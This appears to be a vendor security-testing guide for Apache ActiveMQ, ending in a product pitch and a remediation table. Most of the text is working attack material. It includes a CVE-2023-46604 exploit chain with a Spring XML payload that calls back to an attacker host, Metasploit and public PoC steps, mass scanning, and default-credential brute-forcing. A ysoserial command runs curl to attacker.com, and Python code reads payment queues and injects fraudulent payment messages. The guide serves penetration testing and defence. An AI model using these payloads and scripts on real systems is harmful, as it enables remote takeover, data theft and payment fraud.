Apache ActiveMQ Security Testing: CVE-2023-46604 RCE, Admin Console, and Default Credentials

Apache ActiveMQ is one of the most widely deployed message brokers in enterprise environments โ€” and one of the most frequently found exposed with default credentials or unpatched against critical vulnerabilities. CVE-2023-46604 disclosed in late 2023 gives unauthenticated remote code execution on any exposed ActiveMQ broker running versions before 5.15.16, 5.16.7, 5.17.6, or 5.18.3. This guide covers the full ActiveMQ security testing picture: the CVE-2023-46604 exploit chain, admin console exposure, default credential abuse, OpenWire protocol attacks, and message queue poisoning.

Contents

  1. ActiveMQ Attack Surface Overview
  2. CVE-2023-46604: Unauthenticated RCE
  3. Admin Console Exposure and Default Credentials
  4. OpenWire Protocol Enumeration
  5. Message Queue Poisoning and Data Exposure
  6. Network-Level Exposure Assessment
  7. Automated Detection with Ironimo
  8. Remediation Priorities

ActiveMQ Attack Surface Overview

ActiveMQ exposes multiple network services simultaneously: the OpenWire binary protocol on port 61616 (used by JMS clients), an HTTP/WebSocket interface for STOMP and MQTT protocols, and a web-based admin console on port 8161. Each of these surfaces has been the source of critical vulnerabilities.

Service Default Port Protocol Key Risks
OpenWire broker 61616 Binary (OpenWire) CVE-2023-46604 RCE, deserialization, unauthenticated access
Admin console 8161 HTTP Default admin/admin, queue message browsing, configuration exposure
STOMP 61613 Text protocol Unauthenticated access, message injection
AMQP 5672 AMQP 1.0 Protocol-level authentication bypass in some versions
MQTT 1883 MQTT Unauthenticated subscription to all topics
JMX 1099 RMI/JMX Unauthenticated JMX access allows broker management and RCE

CVE-2023-46604: Unauthenticated RCE

Critical โ€” CVSS 10.0: CVE-2023-46604 allows unauthenticated remote code execution via a specially crafted OpenWire ClassInfo command. Any ActiveMQ broker with port 61616 exposed and running a vulnerable version (before 5.15.16 / 5.16.7 / 5.17.6 / 5.18.3) is fully compromised. This vulnerability was actively exploited by ransomware groups within days of disclosure.

Vulnerability Background

The vulnerability exists in the OpenWire protocol's ExceptionResponse handling. The ClassPathXmlApplicationContext in Spring Framework is abused through a crafted ExceptionResponse message that triggers the broker to load and instantiate a remote ClassInfo definition from an attacker-controlled URL. This causes arbitrary class instantiation โ€” effectively unauthenticated RCE.

Version Detection and Vulnerable Range

# Nmap version detection on OpenWire port
nmap -sV -p 61616 target-ip
# Look for: ActiveMQ/5.x.x in the banner

# Curl the admin console for version info (if accessible)
curl -u admin:admin http://target-ip:8161/admin/
curl http://target-ip:8161/api/jolokia/read/org.apache.activemq:type=Broker/BrokerVersion

# Check OpenWire banner directly (netcat)
echo "" | nc -w 3 target-ip 61616 | strings | grep -i activemq

# Vulnerable versions:
# ActiveMQ <= 5.15.15
# ActiveMQ <= 5.16.6
# ActiveMQ <= 5.17.5
# ActiveMQ <= 5.18.2

Exploit Chain

# Step 1: Host a malicious ClassInfo XML on an HTTP server
# This POC uses a simple command execution class loaded via Spring context

# poc-class.xml (host this at http://attacker-ip:8888/poc.xml):
cat <<'EOF' > poc.xml
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans
   http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>curl http://attacker-ip/$(whoami)</value>
            </list>
        </constructor-arg>
    </bean>
</beans>
EOF

# Step 2: Start HTTP server to host the XML
python3 -m http.server 8888

# Step 3: Start listener to receive the callback
nc -lvp 4444

# Step 4: Send the exploit (public PoC tools)
# Using the activemq-exploit PoC:
git clone https://github.com/X1r0z/ActiveMQ-RCE
cd ActiveMQ-RCE
go run main.go -i target-ip -u http://attacker-ip:8888/poc.xml

# Metasploit module (available post-disclosure):
use exploit/multi/misc/apache_activemq_rce_cve_2023_46604
set RHOSTS target-ip
set LHOST attacker-ip
set LPORT 4444
run

Mass Scanning for Vulnerable Instances

# Nmap scan for exposed OpenWire ports across a network range
nmap -p 61616 --open 10.0.0.0/16 -oG activemq-hosts.txt

# Extract hosts and check versions
grep "61616/open" activemq-hosts.txt | awk '{print $2}' | while read host; do
  version=$(echo "" | nc -w 2 "$host" 61616 2>/dev/null | strings | grep -i "activemq")
  echo "$host: $version"
done

# Shodan query for internet-exposed ActiveMQ instances:
# port:61616 product:"Apache ActiveMQ"
# port:8161 title:"ActiveMQ"

Admin Console Exposure and Default Credentials

ActiveMQ's web admin console at port 8161 uses Jetty as its embedded web server. Out-of-the-box, it ships with admin:admin credentials and no network binding restrictions โ€” it listens on 0.0.0.0 by default in many package manager installations.

Default Credential Testing

# Test default admin:admin credentials
curl -v -u admin:admin http://target-ip:8161/admin/
curl -v -u admin:admin http://target-ip:8161/api/jolokia/

# Common default credential pairs for ActiveMQ:
# admin:admin (most common)
# admin:password
# admin:activemq
# system:manager
# user:user

# Automated credential testing:
hydra -L users.txt -P passwords.txt \
  http-get://target-ip:8161/admin/ \
  -s 8161

# Check if Jolokia API is accessible (common in containerized deployments):
curl http://target-ip:8161/api/jolokia/read/org.apache.activemq:type=Broker/BrokerVersion
# No auth required? Jolokia exposes full JMX management interface over HTTP

Admin Console Information Disclosure

# Once authenticated, the admin console exposes:

# 1. List all queues and topic names (may reveal internal service architecture)
curl -u admin:admin http://target-ip:8161/api/jolokia/read/\
  org.apache.activemq:type=Broker,brokerName=localhost,destinationType=Queue,destinationName=*

# 2. Browse message contents in queues (may contain PII, credentials, session tokens)
curl -u admin:admin \
  "http://target-ip:8161/admin/browse.jsp?JMSDestination=payments.queue"

# 3. Read broker configuration
curl -u admin:admin http://target-ip:8161/api/jolokia/read/\
  org.apache.activemq:type=Broker,brokerName=localhost/DataDirectory

# 4. Access the full Jolokia JMX tree (equivalent to JMX console access)
curl -u admin:admin http://target-ip:8161/api/jolokia/list | jq '.value | keys'

RCE via Jolokia (Authenticated)

# Jolokia exposes MBeans over HTTP, including the ClassLoader
# If authenticated to the admin console, Jolokia can be abused for RCE

# Invoke the exec operation on an ActiveMQ mbean to load a class:
curl -u admin:admin -X POST http://target-ip:8161/api/jolokia/ \
  -H "Content-Type: application/json" \
  -d '{
    "type": "exec",
    "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
    "operation": "addConnector",
    "arguments": ["nio://0.0.0.0:61620"]
  }'

# More direct: use Jolokia to exec arbitrary Java code via BeanShell script engine:
# (version-dependent โ€” available in some ActiveMQ configurations)

OpenWire Protocol Enumeration

The OpenWire protocol on port 61616 is used by JMS clients. Without transport-level authentication configured, any client can connect and interact with the broker โ€” reading messages, publishing to queues, and enumerating the broker configuration.

Unauthenticated Broker Enumeration

# Using activemq-cli for unauthenticated enumeration
# Install via pip or download the JAR

# Connect without credentials (if authentication not enforced):
activemq-cli --url tcp://target-ip:61616

# ActiveMQ Python client for enumeration:
import stomp

class MessageListener(stomp.ConnectionListener):
    def on_message(self, headers, message):
        print(f"Queue: {headers.get('destination')}")
        print(f"Message: {message[:200]}")

conn = stomp.Connection([('target-ip', 61613)])
conn.set_listener('', MessageListener())
conn.connect(wait=True)  # No credentials โ€” tests if auth is enforced

# Subscribe to all queues via wildcard (STOMP protocol):
conn.subscribe(destination='>', id=1, ack='auto')

# This will receive messages from ALL queues if the broker allows it

Authentication Configuration Testing

# Check if the broker requires authentication for OpenWire connections
# ActiveMQ's conf/activemq.xml controls authentication plugins

# Probe without credentials:
python3 -c "
import socket
import time

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('target-ip', 61616))
banner = s.recv(1024)
print(repr(banner[:100]))
s.close()
"

# If the broker banner is returned without auth challenge,
# authentication is not enforced on the OpenWire port

# Check if ANONYMOUS access is configured (common in dev deployments):
# In activemq.xml: <authorizationPlugin> may be absent or permissive
# On the admin console: Connections tab shows connected clients and their usernames

Message Queue Poisoning and Data Exposure

If an attacker can read from or write to ActiveMQ queues, the impact extends beyond the broker itself. Queues carry business logic between services โ€” payment events, authentication tokens, order data, and internal API calls. Unauthorized access to these messages has operational and data protection implications.

Reading Messages from Queues

# Via admin console (HTTP):
# Navigate to http://target-ip:8161/admin/browse.jsp?JMSDestination=QUEUE_NAME
# Messages are shown in plaintext including headers

# Via Jolokia API:
curl -u admin:admin \
  "http://target-ip:8161/api/jolokia/exec/\
  org.apache.activemq:type=Broker,brokerName=localhost,\
  destinationType=Queue,destinationName=payments/\
  browseMessages()"

# Via STOMP (if authentication not enforced):
import stomp

conn = stomp.Connection([('target-ip', 61613)])
conn.connect(wait=True)
# Subscribe and consume a single message:
conn.subscribe(destination='/queue/payments', id=1, ack='client')
# Messages will arrive in the listener โ€” ACK them to permanently remove from queue

Message Injection

# Inject malicious messages into application queues
# This can manipulate business logic in downstream consumers

import stomp

conn = stomp.Connection([('target-ip', 61613)])
conn.connect(wait=True)

# Inject a crafted message to a payment processing queue
conn.send(
    destination='/queue/payment-processing',
    body='{"amount": 0.01, "recipient": "attacker_account", "currency": "USD"}',
    headers={'content-type': 'application/json', 'correlation-id': 'legit-tx-id'}
)

# Or inject a serialized Java object if the consumer deserializes untrusted data
# This is the classic Java deserialization attack path via JMS messages

JMS Deserialization via Message Payloads

# ActiveMQ supports ObjectMessage โ€” JMS messages containing serialized Java objects
# Consumers that call message.getObject() on untrusted messages are vulnerable to deserialization

# Check if the application accepts ObjectMessage:
# 1. Send an ObjectMessage with ysoserial payload
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/rce' > payload.ser

# ActiveMQ Python can't send ObjectMessages natively โ€” use the Java ActiveMQ client:
# ActiveMQConnectionFactory factory = new ActiveMQConnectionFactory("tcp://target:61616");
# Connection conn = factory.createConnection();
# Session session = conn.createSession(false, Session.AUTO_ACKNOWLEDGE);
# ObjectMessage msg = session.createObjectMessage(deserializable_payload);
# producer.send(msg);

Network-Level Exposure Assessment

# Complete port scan for all ActiveMQ-related services
nmap -sV -p 61616,8161,61613,5672,1883,1099,61617 target-ip

# Service fingerprints:
# 61616/tcp: OpenWire (binary)
# 8161/tcp: Jetty HTTP (admin console)
# 61613/tcp: STOMP
# 5672/tcp: AMQP
# 1883/tcp: MQTT
# 1099/tcp: JMX/RMI
# 61617/tcp: OpenWire with SSL

# Check TLS on SSL port:
openssl s_client -connect target-ip:61617 2>&1 | head -20

# Check JMX access (high-value: JMX = full broker management without HTTP auth):
# JMX RMI is typically on a dynamic port but registered with port 1099
nmap -p 1099 --script rmi-dumpregistry target-ip

# If JMX is accessible without auth:
# Use jmxterm or jconsole to connect
# java -jar jmxterm.jar
# connect target-ip:1099
# bean org.apache.activemq:type=Broker,brokerName=localhost
# run invoke addConnector nio://0.0.0.0:61620

Automated Detection with Ironimo

How Ironimo tests ActiveMQ deployments: Ironimo fingerprints ActiveMQ instances across all exposed ports โ€” not just port 8161 โ€” and runs version detection against CVE-2023-46604's vulnerable range without executing the exploit. For admin console access, Ironimo tests default and common credential pairs and detects unauthenticated Jolokia exposure. On the OpenWire port, Ironimo sends a minimal protocol handshake to extract the broker version and determine authentication requirements. Queue name enumeration via the Jolokia API reveals sensitive data destinations without accessing message contents.

The CVE-2023-46604 finding is especially important because it's a pre-auth RCE that requires only network access to port 61616. Many organizations have ActiveMQ brokers in "internal" network segments that are still reachable from compromised workstations โ€” Ironimo maps this exposure during infrastructure scanning so it appears in scope before exploitation is attempted.

Remediation Priorities

Finding Severity Fix
CVE-2023-46604 โ€” vulnerable version exposed Critical Upgrade to 5.15.16 / 5.16.7 / 5.17.6 / 5.18.3 or later immediately
Default admin:admin credentials on admin console Critical Change all default credentials; restrict admin console to management network
OpenWire port (61616) accessible without authentication Critical Enable JAAS authentication plugin in activemq.xml; restrict port access via firewall
Jolokia API accessible without authentication High Add authentication to Jolokia endpoint; disable Jolokia if not needed
JMX accessible on port 1099 without authentication High Disable JMX or enforce authentication; bind to localhost only
Admin console accessible from production networks High Bind admin console to 127.0.0.1; use SSH tunnel or VPN for admin access
STOMP/MQTT without authentication Medium Enable transport authentication for all protocols; disable unused protocol ports
No TLS on OpenWire or admin console Medium Configure SSL transport on 61617; enable HTTPS on admin console
ActiveMQ admin console exposed to internet Medium Place behind reverse proxy with authentication; add IP allowlist

ActiveMQ's attack surface is wide, but the highest-priority fix is straightforward: patch CVE-2023-46604, change default credentials, and ensure the broker isn't directly reachable from untrusted networks. These three actions eliminate the most commonly exploited attack paths. The protocol-level authentication and TLS configuration are table stakes for any production deployment โ€” but they're often skipped because ActiveMQ "works" without them.

Find Exposed ActiveMQ Instances in Your Infrastructure

Ironimo scans for ActiveMQ across all ports, detects CVE-2023-46604-vulnerable versions, and tests default credentials automatically โ€” without manual configuration.

Start free scan